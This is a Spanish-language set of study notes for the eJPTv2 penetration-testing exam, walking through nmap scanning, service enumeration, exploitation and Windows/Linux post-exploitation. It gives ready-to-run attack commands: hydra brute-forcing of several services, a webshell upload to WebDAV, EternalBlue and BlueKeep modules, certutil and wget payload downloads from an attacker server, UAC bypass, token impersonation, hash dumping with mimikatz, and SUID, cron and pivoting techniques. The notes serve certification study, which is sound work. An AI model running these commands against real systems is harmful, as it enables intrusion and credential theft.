📝 eJPTv2 - Apuntes

Apuntes para la eLearnSecurity Junior Penetration Tester (eJPT) v2

eJPT - © eLearnSecurity | INE

📋 Índice de Contenido

Reconocimiento

El programa que usaremos por omisión para toda la fase de reconocimiento será nmap

1. DETECCIÓN DE HOSTS (HOST DISCOVERY)

  • -sn : Solo detecta hosts activos (ping scan), sin escanear puertos.
  • -Pn : Asume que el host está activo, omite ping. Útil si ICMP está bloqueado.
  • -PE : ICMP Echo Request (ping clásico).
  • -PP : ICMP Timestamp request (menos bloqueado que -PE).
  • -PS[puertos] : TCP SYN ping.
  • -PA[puertos] : TCP ACK ping.
  • -PU[puertos] : UDP ping.
  • -PR : ARP ping (solo funciona en redes locales). Muy fiable en LAN.

2. ESCANEOS DE PUERTOS

  • -sS : SYN scan (rápido, sigiloso).
  • -sT : TCP connect scan. Se usa si no tienes root.
  • -sU : Escanea puertos UDP. Más lento, pero útil para DNS, SNMP, etc.
  • -sN, -sF, -sX : Escaneos “invisibles” que envían paquetes sin flags (NULL, FIN, Xmas). Usados para evadir firewalls.
  • -p : Especifica puertos. Ej: -p 80, -p 1-1000, -p U:53,T:22,80.
  • -p- : Escanea todos los puertos (1–65535).

3. DETECCIÓN DE SERVICIOS Y SISTEMAS

  • -sV : Detecta la versión del servicio en puertos abiertos.
  • -A : Activación completa: detecta OS (-O), versión (-sV), scripts (-sC).
  • -O : Intenta detectar el sistema operativo.
  • --osscan-guess : Fuerza conjeturas del sistema operativo si no puede identificarlo claramente.
  • --traceroute : Incluye trazado de ruta al host.

4. NSE: NMAP SCRIPTS

  • -sC : Usa scripts NSE por defecto.
  • --script=nombre : Usa scripts específicos. Ej: --script=smb-enum-shares.
  • --script="grupo*" : Usa todos los scripts que coincidan. Ej: --script="http*" o vuln.
  • --script-args : Pasa argumentos a scripts. Ej: --script-args userdb=users.txt.
  • Directorio de scripts NSE:

5. RENDIMIENTO Y VELOCIDAD

  • -T0 a -T5 : Controla la velocidad del escaneo, de menos a más.
  • --min-rate N : Fuerza mínima de paquetes por segundo. Ej: --min-rate 1000.
  • --max-retries N : Cuántas veces reintentar un puerto que no responde.
  • --host-timeout : Tiempo máximo para escanear un host.
  • --scan-delay Retardo entre paquetes para evitar detección.

6. SALIDA

  • -oN : Salida normal en texto plano.
  • -oG : Salida “grepable” (para procesamiento con scripts).
  • -oX : Salida XML. Útil para herramientas automáticas.
  • -oA : Genera todas las anteriores a la vez.
  • -v, -vv, -vvv : Verbosidad (más detalles en pantalla).
  • --open : Muestra solo puertos abiertos. Muy útil.
  • --reason : Muestra por qué Nmap cree que un puerto está abierto/cerrado.

7. BYPASS / EVASIÓN

  • -f : Fragmenta paquetes para evadir algunos firewalls.
  • --data-length N : Añade relleno al paquete para confundir IDS/IPS.
  • --source-port N : Usa un puerto fuente específico.
  • -D RND:10 : Usa señuelos para ocultar tu IP real.
  • --spoof-mac : Falsifica dirección MAC. Ej: --spoof-mac 0 para aleatoria.

Los scripts predeterminados de Nmap se almacenan en la siguiente ubicación:

/usr/share/nmap/scripts/

Una vez explicadas todas las Flags, podemos establecer un par de comandos por defecto para realizar nuestro escaneo con la mayor precisión posible.

🖥️ 1. Descubrimiento de Hosts

sudo nmap -sn -PE -PS21,22,23,25,53,80,110,135,139,143,443,445,3389 -T4 -v {IP}

El motivo de este escaneo previo es detectar hosts, especialmente equipos Windows que bloquean las trazas ICMP. Para ello, intentamos identificar puertos activos y, en vez de hacer un ping, realizamos un TCP SYN.

🔍 2. Descubrimiento de servicios

sudo nmap -sS -sV -sC -Pn -n -p- --min-rate 5000 -vvv {IP} -oN scan.txt

En el caso de que se quiera importar el escaneo al framework Metasploit, podemos añadir la flag -oX scan.xml.

Enumeración

🚪 Puertos por Servicio

Puerto(s) Servicios Protocolo
21 FTP TCP
22 SSH TCP
25/465 SMTP/SMTPS TCP
80/443 HTTP/HTTPS TCP
445 SMB (445) TCP
161 SNMP UDP
3306 MySQL TCP
3389 RDP TCP
5985/5986 WinRM (HTTP/HTTPS) TCP

📌 Notas:

  • SMB: En Linux se implementa con Samba.
  • WebDAV: Suele estar en la ruta /webdav/ y solo se puede encontrar en servicios Microsoft IIS.
  • SNMP: Usa UDP exclusivamente.

🔍 Enumeración por Servicio

📁 FTP (Puerto 21)

“File Transfer Protocol”

Servicio para el intercambio de archivos en una estructura cliente-servidor.

Procedimiento de enumeración:

Este servicio puede ser vulnerable al inicio de sesión de forma anónima y, en caso de que sea así, el escaneo con nmap ya nos lo habría reportado. No obstante, podemos comprobarlo con el siguiente script.

nmap -p 21 --script ftp-anon <IP>

🔑 SSH (Puerto 22)

“Secure Shell”

Servicio que permite la conexión remota mediante terminal a una máquina.

Procedimiento de enumeración:

En el proceso de enumeración no podemos hacer mucho con este servicio más que ver si la versión encontrada es vulnerable a alguna vulnerabilidad de filtrado de usuarios:

nmap -p 22 -sV <IP> | grep -i "ssh"

✉️ SMTP (Puertos 25/465)

“Simple Mail Transport Protocol”

Servicio que permite el envío de correos electrónicos entre servidores o desde un cliente a un servidor remoto.

Procedimiento de enumeración:

nmap --script smtp-enum-users <IP>

🌐 HTTP/HTTPS (Puertos 80/443)

“Hyper Text Transfer Protocol (Secure)”

Es el protocolo base de la web usado para transferir datos en una arquitectura cliente servidor.

Procedimiento de enumeración:

Para poder enumerar múltiple información de un servicio web podemos usar diversos programas:

whatweb <IP>

Nos devuelve las principales tecnologías utilizadas en ese sitio web con sus versiones. Conviene enumerarlas y buscar en Internet posibles vulnerabilidades que las afecten.

A continuación, es útil enumerar dominios, subdominios y archivos. Todo esto lo podemos realizar, por ejemplo, con la herramienta gobuster, pero también se podría hacer con dirbuster o wfuzz.

Enumeración de directorios y archivos

gobuster dir -u http://0.0.0.0 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -t 50

Flags:

  • dir : Para hacer fuzzing de directorios.
  • -x : Para especificar que archivos queremos buscar.
  • -t : Para el numero de hilos a usar.

Enumeración de subdominios

gobuster vhost -u http://0.0.0.0 -w /usr/share/seclists/Discovery/DNS/* -t 50 --append-domain

Flags:

  • vhost : Para hacer fuzzing de subdominios.
  • --append-domain : Para especificar que tiene que poner los elementos de la lista al principio de la url.
  • -t : Para el numero de hilos a usar.

Microsoft IIS

“Microsoft Internet Information Services”

Es el servidor web desarrollado por Microsoft para hospedar páginas web desarrolladas en ASP, .NET, PHP o HTML. Lo único interesante de este servicio para posteriormente realizar una hipotética explotación, es comprobar si existe el servicio WebDAV instalado.

nmap --script --script http-enum <IP>

WebDAV

WebDAV es una extensión del protocolo HTTP que permite a los usuarios crear, mover, copiar y editar archivos en un servidor remoto como si fuera un disco local.

💻 SMB (Puerto 445)

“Server Message Block”

Protocolo para compartir archivos/impresoras en red (Samba en Linux).

Procedimiento de enumeración:

Para enumerar informacion acerca del servicio SMB, podemos hacer uso de varias heramientas.

enum4linux -a <IP>
smbmap -H <IP>
nmap -p 445 --script smb-vuln-ms17-010 <IP> # Puede ser vulnerable a EternalBlue CVE-2017-0144

Generalmente se dará la situacion de tener que suministrar un usuario y una contrasena para poder obtener informacion del servicio.

smbmap -H <IP> -u <usuario> -p <contraseña>
smbclient -L //<IP> -U <usuario>%<contraseña>

🗄️ MySQL (Puerto 3306)

Sistema de gestión de bases de datos relacionales basado en consultas SQL.

Procedimiento de enumeración:

nmap -p 3306 -sV --script mysql-info <IP>

🗄️ RDP (Puerto 3389)

“Remote Desktop Protocol”

Servicio que permite a los usuarios conectarse remotamente a un equipo Windows mediante una interfaz gráfica.

Procedimiento de enumeración:

nmap -p 3389 -sV <IP>
nmap -p 3389 --script rdp-vuln-ms12-020 <IP> -vv # Puede ser vulnerable a BlueKeep CVE-2019–0708

⚙️ WinRM (Puertos 35985/5986)

“Windows Remote Management”

Servicio que permite administrar equipos Windows de forma remota.

Procedimiento de enumeración:

nmap -p 5985,5986 --script http-winrm-auth <IP>

Explotación

💥 Explotación por Servicio

📁 FTP (Puerto 21)

Procedimiento de explotación:

La explotación de este servicio se realiza principalmente haciendo uso de fuerza bruta con herramientas como hydra, o con módulos de metasploit.

hydra -L /.../users.txt -P /usr/share/wordlists/rockyou.txt <IP> ftp -vV -t 4 -o credenciales.txt

Flags:

  • -L : Para especificar la lista de usuarios.
  • -P : Para especificar la lista de contrasenas.
  • -l : Para especificar un usuario en concreto.
  • -p : Para especificar una contrasena en concreto.
  • -vV : Para mostrar mas información por pantalla.
  • -t : Para especificar los hilos a usar.
  • -s PORT : Si el servicio no usa el puerto por defecto.
  • -o : Para guardar la credenciales exitosas en un fichero.

🔑 SSH (Puerto 22)

Procedimiento de explotación:

La explotación de este servicio se realiza principalmente haciendo uso de fuerza bruta con herramientas como hydra, o con módulos de metasploit.

hydra -L /.../users.txt -P /usr/share/wordlists/rockyou.txt ssh://<IP> -o credenciales.txt

Flags:

  • -L : Para especificar la lista de usuarios.
  • -P : Para especificar la lista de contrasenas.
  • -l : Para especificar un usuario en concreto.
  • -p : Para especificar una contrasena en concreto.
  • -vV : Para mostrar mas información por pantalla.
  • -t : Para especificar los hilos a usar.
  • -s PORT : Si el servicio no usa el puerto por defecto.
  • -o : Para guardar la credenciales exitosas en un fichero.

🌐 HTTP/HTTPS (Puertos 80/443)

Procedimiento de explotación:

Para realizar una correcta explotación de este protocolo, debemos distinguir los tres servicios que nos podemos encontrar: Apache, Apache Tomcat y Microsoft IIS con WebDAV habilitado.

Apache Web Server

Puede ser vulnerable al ataque shellshock el cual puede producirse si existe algun tipo de archivo .cgi ejecutandose.

nmap <IP> --script http-shellshock --script-args "http-shellshock.uri=/FICHERO.cgi"

Conviene también usar Burpsuite para tener más control sobre el ataque y ver en qué campo podemos inyectar el código.

Apache Tomcat

Este servicio no suele ser muy vulnerable, pero la versión 8.5.19 es vulnerable a un RCE. Para explotarlo podemos hacer uso de metasploit con el módulo tomcat_jsp_upload_bypass.

WebDAV

En caso de existir, para poder explotarlo necesitamos unas credenciales que podemos conseguir por ejemplo con hydra.

hydra -L /.../users.txt -P /usr/share/wordlists/rockyou.txt -s 80 <IP> http-get /webdav/ -o credenciales.txt

Flags:

  • -L : Para especificar la lista de usuarios.
  • -P : Para especificar la lista de contrasenas.
  • -l : Para especificar un usuario en concreto.
  • -p : Para especificar una contrasena en concreto.
  • -s PORT : Si el servicio no usa el puerto por defecto.
  • -o : Para guardar la credenciales exitosas en un fichero.

En caso de conseguir credenciales usaremos dos herramientas a continuación. La primera Davtest para ver que archivos podemos subir y ejecutar y después Cadaver para subir la webshell.

davtest -auth name:password -url <url> -x
cadaver <url>/webdav/ 
  put /usr/share/webshells/asp/webshell.asp

💻 SMB (Puerto 445)

Procedimiento de explotación:

Este servicio puede ser vulnerable al exploit Eternalblue. En caso de haber identificado esta vulnerabilidad en la fase de escaneo, podemos usar un par de herramientas para explotarla. Podemos usar un script en python que podemos descargar de GitHub, o en otro caso hacer uso del módulo de metasploit ms17_010_eternalblue .

También podemos probar a realizar fuerza bruta de usuarios y contraseñas con hydra para después usar smbclient y enumerar sus shares o usar psexec para intentar conseguir una terminal en la víctima.

hydra -L /.../users.txt -P /usr/share/wordlists/rockyou.txt smb://<IP> -vV -I -t 4 -o credenciales.txt

Flags:

  • -L : Para especificar la lista de usuarios.
  • -P : Para especificar la lista de contrasenas.
  • -l : Para especificar un usuario en concreto.
  • -p : Para especificar una contrasena en concreto.
  • -s PORT : Si el servicio no usa el puerto por defecto.
  • -t : Para especificar los hilos a usar.
  • -vV : Para mostrar mas informacion por pantalla.
  • -I : Ignora restauraciones de conexión.
  • -o : Para guardar la credenciales exitosas en un fichero.

Si encontramos usuarios y contraseñas, podemos usar smbclient para poder acceder a las shares.

smbclient -L //IP -U user # Muestra una lista de las shares
smbclient //IP/share –U <user>@<pass> # Te conecta mediante smb a la share

Y podemos probar a usar psexec para ver si somos capaces de conseguir una terminal en la víctima.

python3 psexec.py USER:PASSWORD@IP cmd.exe

🗄️ RDP (Puerto 3389)

Procedimiento de explotación:

Este servicio puede ser vulnerable al exploit BlueKeep. En caso de haber identificado esta vulnerabilidad en la fase de escaeno, podemos usar un módulo de metasploit para explotarla.

exploit/windows/rdp/cve_2019_0708_bluekeep_rce

Podemos usar también hydra para intentar obtener algún usuario y contraseña para posteriormete conectarnos.

hydra -L /.../users.txt -P /usr/share/wordlists/rockyou.txt rdp://<IP> -s 3389 -vV -t 10 -o credenciales.txt

Flags:

  • -L : Para especificar la lista de usuarios.
  • -P : Para especificar la lista de contrasenas.
  • -l : Para especificar un usuario en concreto.
  • -p : Para especificar una contrasena en concreto.
  • -s PORT : Si el servicio no usa el puerto por defecto.
  • -t : Para especificar los hilos a usar.
  • -vV : Para mostrar mas información por pantalla.
  • -o : Para guardar la credenciales exitosas en un fichero.

⚙️ WinRM (Puertos 35985/5986)

Procedimiento de explotación: La única manera de explotar este servicio es mediante el uso de fuerza bruta.

hydra -L /.../users.txt -P /usr/share/wordlists/rockyou.txt http-head://<IP>/wsman:5985 -s 5985 -vV -t 4 -o resultados_winrm.txt

Flags:

  • -L : Para especificar la lista de usuarios.
  • -P : Para especificar la lista de contrasenas.
  • -l : Para especificar un usuario en concreto.
  • -p : Para especificar una contrasena en concreto.
  • -s PORT : Si el servicio no usa el puerto por defecto.
  • -t : Para especificar los hilos a usar.
  • -vV : Para mostrar mas información por pantalla.
  • -o : Para guardar la credenciales exitosas en un fichero.

En el caso de que obtengamos credenciales válidas, podemos hacer uso de herramientas como crackmapexec o evil-winrm para obtener una terminal en la víctima.

crackmapexec winrm <IP> -u USER -p PASSWORD
evil-winrm -i <IP> -u USER -p PASSWORD

Post Explotación

Windows

Las fases esenciales del proceso de post explotación son: Enumeración local, Transferir archivos, Escalada de privilegios, Persistencia, dumpear y crackear hashes, pivotar y limpiar las marcas o trazas que hayamos dejado.

Enumeración local

📊 Tabla de Comandos de Enumeración Windows

🖥️ Enumeración del sistema

Meterpreter

Comando Descripción
sysinfo Muestra nombre del host, arquitectura, versión de Windows y dominio

Consola (CMD/PowerShell)

Comando Descripción
systeminfo Muestra parches instalados, tiempo de actividad, configuración de red y hotfixes
wmic qfe get Caption,Description,HotFixId,InstalledOn Lista actualizaciones instaladas con fechas

👥 Enumeración de Usuarios y Grupos

Meterpreter

Comando Descripción
getuid Muestra el usuario actual de Meterpreter
getprivs Lista los privilegios del usuario actual (ej. SeDebugPrivilege)
enum_logged_on_users Enumera usuarios actualmente logueados

Consola (CMD/PowerShell)

Comando Descripción
query user Muestra usuarios conectados actualmente
whoami /priv Lista privilegios del usuario actual
net user Lista todos los usuarios del sistema
net user <nombre> Muestra detalles de un usuario específico
net localgroup Lista todos los grupos locales
net localgroup <grupo> Muestra miembros de un grupo específico

🌐 Enumeración de Red

Meterpreter

Comando Descripción
ipconfig Muestra configuración básica de red

Consola (CMD/PowerShell)

Comando Descripción
ipconfig /all Muestra adaptadores, MAC, DHCP y DNS
arp -a Muestra la tabla ARP (dispositivos locales)
netstat -ano Lista puertos abiertos, IPs remotas y PIDs asociados

⚙️ Enumeración de Procesos y Servicios

Meterpreter

Comando Descripción
ps Lista procesos activos con PID y usuario
migrate <PID> Migra Meterpreter a otro proceso
pgrep explorer.exe Busca PID por nombre de proceso

Consola (CMD/PowerShell)

Comando Descripción
net start Lista servicios en ejecución
tasklist /SVC Muestra procesos y servicios asociados
schtasks /query /fo LIST Lista tareas programadas del sistema

📁 Transferir archivos

Para transferir archivos desde tu máquina atacante a la máquina víctima que has comprometido, primero necesitas iniciar un servidor, generalmente con python, para poder servir los archivos y descargarlos desde la máquina víctima.

Servidor en python

python3 -m http.server 8000

Descarga desde la víctima

certutil -urlcache -split -f http://servidor/archivo.exe C:\ruta\local\archivo.exe
iwr http://servidor/archivo.exe -outfile archivo.exe

Escalada de privilegios

La escalada de privilegios consiste en intentar obtener el máximo privilegio dentro de un sistema. Existen varias maneras en las que podemos conseguir esto. La primera de ellas es usar el comando getsystem de meterpreter para que lo haga de forma automática. La segunda, es desactivar el UAC (User Access Control) mediante diversas técnicas. Y por último haciendo Token Impersonation. Conviene también mirar si podemos migrar a un proceso que tenga más privilegios de los que nosotros tenemos. Esto se puede intentar primero listando todos los procesos disponibles con ps, y después escribiendo migrate y el ID del proceso dentro de meterpreter.

Eludir UAC

“User Access Control” (UAC) es el mensaje emergente que aparece en Windows cuando instalas algo que va a realizar cambios en el sistema operativo y te pide confirmación. Cabe destacar que esto ocurre cuando un usuario puede realizar cambios en el sistema operativo y, para que esto suceda, el usuario debe formar parte del grupo de administradores del sistema. Esto se puede comprobar usando el comando net localgroup administrators dentro del CMD.

Existen diversas maneras de evadir este control. La primera de ellas es mediante módulos de Metasploit como bypassuac_injection. Este módulo genera otra sesión de Meterpreter pero con el UAC desactivado, permitiendo ejecutar comandos con mayor libertad. No obstante, existen múltiples módulos más que podrían ser interesantes de revisar. Cuando usemos este tipo de módulos, debemos asegurarnos de que el payload y la máquina víctima sean de la misma arquitectura.

La segunda manera es usando la herramienta externa UACme, que se puede descargar de GitHub.

Una vez descargada, generamos un payload con msfvenom y lo subimos a la víctima. A continuación, ejecutamos el comando Akagi64.exe 23 payload.exe y recibiremos la reverse shell en el multi/handler que hemos configurado previamente.

Token impersonation

El proceso encargado de gestionar la seguridad local en un sistema Windows es LSASS (Local Security Authority Subsystem Service). Cuando inicias el PC y escribes tu contraseña, se crea un token que te identifica. Sin embargo, existe una manera de suplantar estos tokens para hacerse pasar por un usuario diferente. El módulo que usaremos para esto es incognito, que se carga en Metasploit con el comando load. Este módulo tiene dos comandos importantes: el primero es list_tokens -u, que muestra todos los tokens disponibles para suplantar; una vez obtenida esta información, usamos el comando impersonate_token TOKEN para falsificar nuestros privilegios. Cabe destacar que, una vez que hemos suplantado un token, puede que nuestro proceso siga asociado al token anterior, pero como tenemos un token válido con más privilegios, podemos migrar a otro proceso con más privilegios sin problema.

Persistencia

Para establecer persistencia en Windows, haremos uso de los Windows Hashes.

Los hashes se guardan en la base de datos SAM (Security Accounts Manager) y la verificación y autenticación la realiza LSA o LSASS. Actualmente, los hashes que se usan son los NTLM, que emplean el algoritmo MD4, pero también se sigue generando el hash LM, que utiliza el algoritmo DES. Por lo tanto, es útil guardar ambos hashes, ya que en algún momento podríamos necesitar los dos. Puede ocurrir que se filtren contraseñas en el archivo panther/unattend.xml. Si están, estarán en base64, pero son fácilmente convertibles. Para obtener todo esto, necesitamos privilegios.

Por último, existe el comando de meterpreter hashdump, que puede devolvernos todos los hashes disponibles en caso de que contemos con los permisos máximos. También podemos usar Kiwi para dumpear los hashes que estén guardados en SAM. Para ello, cargamos el módulo con load kiwi. Cabe destacar que necesitamos privilegios de sistema para que el módulo funcione. Una vez que tenemos esto claro, podemos ejecutar el comando ? para ver todas las opciones posibles, pero la más interesante es lsa_dump_secrets, que nos vuelca toda la información de los registros LSA.

En su defecto, podemos hacer uso de la herramienta mimikatz, la cual podemos descargar desde GitHub.

Linux

En el caso de sistema Linux, lo pasos que explicaremos son enumeración local, transferir archivos, escalada de privilegios, y pivoting.

Enumeración Local

📊 Tabla de Comandos de Enumeración Linux

🖥️ Enumeración del sistema

Meterpreter

Comando Descripción
sysinfo Muestra:
• Nombre del host
• Kernel
• Distribución
• Arquitectura
checkvm Detecta si está en máquina virtual
enum_configs Enumera archivos de configuración interesantes

Shell

Comando Descripción
uname -a Info del kernel y sistema
cat /etc/*-release Versión de la distribución

👥 Usuarios y Grupos

Meterpreter

Comando Descripción
getuid Usuario actual
enum_users_history Historial de comandos de usuarios
enum_sudo Reglas sudo

Shell

Comando Descripción
id Info del usuario actual
cat /etc/passwd Todos los usuarios
cat /etc/shadow Hashes de contraseñas (necesita root)
sudo -l Comandos permitidos con sudo

🌐 Enumeración de Red

Meterpreter

Comando Descripción
ifconfig/ipconfig Configuración de red
portfwd Redirección de puertos

Shell

Comando Descripción
ip a Interfaces de red
arp -a Tabla ARP
ss -tulnp / netstat -tulnp Conexiones activas
cat /etc/resolv.conf Configuración DNS

⚙️ Procesos y Servicios

Meterpreter

Comando Descripción
ps Lista procesos
migrate <PID> Migrar a proceso

Shell

Comando Descripción
ps aux Procesos con detalles
crontab -l Tareas cron del usuario
cat /etc/crontab Tareas cron del sistema

📁 Transferir archivos

Para transferir archivos desde tu máquina atacante a la máquina víctima que has comprometido, primero necesitas iniciar un servidor, generalmente con python, para poder servir los archivos y descargarlos desde la máquina víctima.

Servidor en python

python3 -m http.server 8000

Descarga desde la víctima

wget https://servidor/archivo
curl -O https://servidor/archivo

Escalada de privilegios

Para la escalada de privilegios en Linux, haremos uso de 3 técnicas, mirar privilegios sudo, binarios SUID y Cron Jobs.

Privilegios sudo

Los privilegios sudo consisten en aquellos comandos específicos que un usuario puede ejecutar con permisos sudo sin necesidad de ser root.

sudo -l

Binarios SUID

Un binario SUID es un archivo que, al ejecutarse, corre con los privilegios del dueño del archivo (por ejemplo, root). Esto nos permite buscar archivos creados por root que podamos ejecutar, y así obtener permisos elevados. Una vez encontrado el archivo, podemos usar la función strings para extraer cadenas legibles y analizar si el binario llama a otros ejecutables; si es así, podríamos modificar ese ejecutable para ejecutar código arbitrario con privilegios root, como /bin/bash, obteniendo así una terminal con máximos permisos.

No obstante, hay veces en que ciertos binarios ya tienen una forma rápida e inmediata de escalar privilegios. Por ello podemos buscar el nombre de los binarios SUID en GTFOBins y si existen, mirar los pasos para poder explotarlos.

La manera de encontrar estos binarios es haciendo uso del comando

find / -perm -4000 -type f -user root 2>/dev/null

Cron Jobs

Un Cron Job es una tarea que se programa para ser ejecutada automáticamente en intervalos de tiempo. Debido a que cada Cron Job es diferente entre sí y están creados a mano, la manera de explotarlos es listándolos y analizando uno a uno si somos capaces de aprovecharnos de ellos para elevar nuestros privilegios.

crontab -l
ls -la /etc/cron*

Pivoting

Una vez que hemos accedido a la máquina víctima, esta puede tener acceso a otras IPs a las que nosotros desde fuera no podemos acceder. Por ello conviene listar todas aquellas conexiones que esta máquina posee y después hacer portforwarding a nuestra máquina para poder acceder a ellas.

ss -tulnp
netstat -tulnp

En el caso de que hayamos encontrado algo interesante, podemos hacer uso de SSH para realizar el portforwarding de la siguiente manera:

Lo primero es generar en local un conjunto de claves públicas y privadas con el siguiente comando:

ssh-keygen -t rsa -b 4096 -f NAME

A continuación copiamos la clave pública (aquella que tiene extensión .pub) en el fichero authorized keys de la máquina que usaremos como intermediaria. Este fichero se suele encontrar bajo la ruta ~/.ssh. Una vez que hemos copiado nuestra clave pública, volvemos a nuestra máquina y ejecutamos el siguiente comando. ssh -i nombre_clave_privada -L LPORT:IP_PIVOTING:HPORT usuario@IP. Ejemplo:

ssh -i artificial -L 9898:localhost:9898 gael@10.10.11.74

Una vez que todo esto ya está listo y no ha habido problemas, si nosotros ejecutamos cualquier comando y apuntamos a la dirección localhost:PORT, estaremos accediendo a la dirección IP que previamente no teníamos acceso por el puerto PORT.


Copyright © 2025 Mario Ramos. Distribuido bajo Licencia MIT.